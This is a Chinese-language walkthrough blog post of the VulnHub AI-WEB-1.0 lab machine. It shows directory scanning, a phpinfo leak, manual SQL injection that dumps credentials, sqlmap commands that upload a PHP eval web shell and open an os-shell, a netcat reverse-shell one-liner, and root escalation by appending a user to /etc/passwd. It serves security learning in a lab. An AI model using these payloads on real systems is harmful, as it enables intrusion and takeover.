AI-WEB-1.0简单攻略

目录

# 前言

# 环境准备

# 前期交互

#信息收集

#渗透攻击

 # 注入攻击

#连接shell问题:

# 坑一:

#坑二:

#提权的坑

#坑三:

# 后记


# 前言

        一开始吧,是挖SRC来的,结果呢,可能是自己菜吧,明明看到有洞,就是打不进去。这个事情就很上火,于是就上VULNHUB上找个靶机打打,找找自信。但是,这个靶机打起来遇着几个坑,导致很快就能解决的问题,硬是拖了几个小时。本来吧,是想祛祛火,结果反而更加上火。在上火过程中也是参考了一些师傅的write up,但是在使用的时候依然遇着不少坑,特此记录分享,希望能够帮助有需要的师傅,文中有不足之处,还请师傅们指点。

 

# 环境准备

1.AI-WEB-1.0靶机(192.168.44.133)

2.Kali-linux攻击机(192.168.44.128)

3.Windows7攻击机(为了蚁剑连接shell的)

# 前期交互

        首先明确靶机的目标是从"/root/flag.txt”中获取flag。靶机下载地址:

https://www.vulnhub.com/entry/ai-web-1,353/

        下载好压缩包后,直接用VMware打开就好。一开始登录是这个样子滴:

 

        额,用户名密码是啥?我找遍了文件和压缩包以及百度都没有发现。

        既然如此,就不能用常规方法了,不客气!

#信息收集

接下来,在Kali中使用命令:

netdiscover #查看当前靶机和攻击机是否在同一个局域网下。

访问一下靶机的ip地址:(谷歌看不到,火狐也看不到啊喂!)

 

dirb #网站后台扫描

#后台扫描内容
http://192.168.44.133/index.html                                                                                                                                                                                 
http://192.168.44.133/robots.txt                                                                                                                                                                                 
http://192.168.44.133/server-status

突然发现有个robots.txt,嗯,这个一定要看看。

User-agent: *
Disallow: 
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

文件中的两个目录,稍微组合一下就变成了:

http://192.168.44.133/m3diNf0/
http://192.168.44.133/se3reTdir777/uploads/

再次访问发现,两个403,真是意(ma)料(ma)之(lie)中(lie)。

 

既然如此,用dirb命令再扫描一次两个URL。

http://192.168.44.133/m3diNf0/info.php
http://192.168.44.133/se3reTdir777/index.php

先看第一个吧,是一个“phpinfo”文件,在文件中看到了几个非常重要的信息:

DOCUMENT_ROOT 	/home/www/html/web1x443290o2sdf92213 
SERVER_ADMIN 	webmaster@localhost 
User/Group 	    www-data(33)/33 

所以搭完站为什么要第一时间删掉phpinfo啊,师傅们!(战术后仰)

再看第二个,是一个查询框。既然有查询,说明和数据库有交互,记得有师傅说过一句话:一切和数据库交互的地方,都有可能发生数据泄漏。

 提交数据抓个包看看。

#渗透攻击

 # 注入攻击

偶然发现好像存在注入点,发送到Repeater里搞一下。(通过报错信息闭合语句,这里没有采用注释符的方式,而是采用闭合前后语句的方式。注入点在uid处。)

于是通过手工注入的方式拿到了库中所有的用户名和密码。(白玩了,看起来哪个都不像是系统登录的用户名和密码。)

systemUser中的用户名及对应密码:
t00r:RmFrZVVzZXJQYXNzdzByZA==(FakeUserPassw0rd),
aiweb1pwn:TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==,
u3er:TjB0VGhpczBuZUFsczA=

user中的用户名及对应密码:
admin:admin,
root:root,
mysql:mysql

从SQL注入攻击的路是行不通了,只好上网找找资料。于是发现了通过SQLMAP可以在uploads目录中写入shell脚本。(前提是uploads目录有写文件的权限。)

sqlmap -u "http://192.168.44.133/se3reTdir777/index.php" 
--data "uid=1&Operation=Submit" --file-write ./hack.php 
--file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

"""
-u              URL地址
--data          注入点数据
--file-write    hack.php在本地文件位置
--file-dest     hack.php文件在目标服务器的位置
"""

附:
hack.php中的内容:

<?php @eval($_POST["shell"]);?>

在URL中访问后发现是空白页面而不是404,查看源代码后发现shell已经被解析,因此尝试用windows7中的蚁剑连接shell脚本。连接到shell后,自然要从蚁剑的shell模式中查看“whoami”,而当前用户为“www-data”,由于文件在“/root/flag.txt”,因此涉及到提权问题。

#连接shell问题:

# 坑一:

那么问题又来了,蚁剑的shell有些命令不能执行,于是采用SQLMAP执行os-shell,创造一个新的shell界面。

sqlmap -u "http://192.168.44.133/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --level 3 --os-shell

但是使用后发现这个os-shell不好用啊。

 

#坑二:

于是我又百度来着,发现“rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 192.168.44.128 8023 >/tmp/f”可以以反向连接的方式生成新的shell。

首先在Kali中采用“nc -lvp 8023”监听,

其次通过在蚁剑中输入“rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 192.168.44.128 8023 >/tmp/f”反弹连接。(这里看截图就知道我为什么失败了,命令里的ip应该是kali攻击机的ip。)

#提权的坑

提权是最坑的地方了,也是最耗费时间的地方。

通过“uname -a”查看内核版本,百度查看相应提权方法。

$ uname -a
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

 百度说:该内核下存在通过“openssl添加root级用户“提权的方法。

在kali端操作:

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213
/se3reTdir777/uploads$ openssl passwd -1 -salt hacker1 123456    #我输入的

<777/uploads$ openssl passwd -1 -salt hacker1 123456                       
$1$hacker1$Eb4FVosfk8zgeP8AJbAXg.    #服务端回显的

百度还说:将“echo 'hacker:$1$hacker$6luirwdgpbvxdp.gmwczp/ :0:0::/root:/bin/bash' >> /etc/passwd”添加到“/etc/passwd”中。这个思路是由于当前用户可以更改自己的密码,因此可以通过将添加用户的信息添加到“/etc/passwd”文件中,由此登录“openssl”添加的用户。

#坑三:

        这个是坑了我时间最长的一个坑,别问,问就是因为我菜没看懂命令,对linux了解的不够深刻。

        百度上次说:通过“echo 'hacker:$1$hacker1$Eb4FVosfk8zgeP8AJbAXg.:0:0::/root:/bin/bash' >> /etc/passwd”可以将用户信息添加到passwd文件中,由此可通过su命令切换为root权限的用户。

        就这一个操作我试了一个多小时。后来想想不太对,于是通过“cat /etc/passwd”查看了一下root用户的格式:

root:x:0:0:root:/root:/bin/bash

        又通过百度看了一下:通过kali中的python计算出“123456”的md5值为“mdlcLmLJA3EYc”

重新组合:

echo 'hacker1:mdlcLmLJA3EYc:0:0:root:/root:/bin/bash' >> /etc/passwd

su切换用户顺便看看我是谁:

 看看flag:

上靶机再得瑟得瑟:

 

所以靶机root的密码到底是啥???????

# 后记

        这回靶机真的是让我学到了许多新的东西,不得不承认大佬们真的厉害。譬如,“sqlmap --os-shell”开启新的shell窗口,“sqlmap --file-write --file-dest”上传文件,以及通过python计算md5后,添加到passwd中进行提权操作。也难怪自己四处挖不到东西,掌握的知识还是不够多,归根结底还是菜。不管怎么说,通过本文希望给自己做一个成长记录,也希望它能够给遇到同样问题的师傅们一些思路。

 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值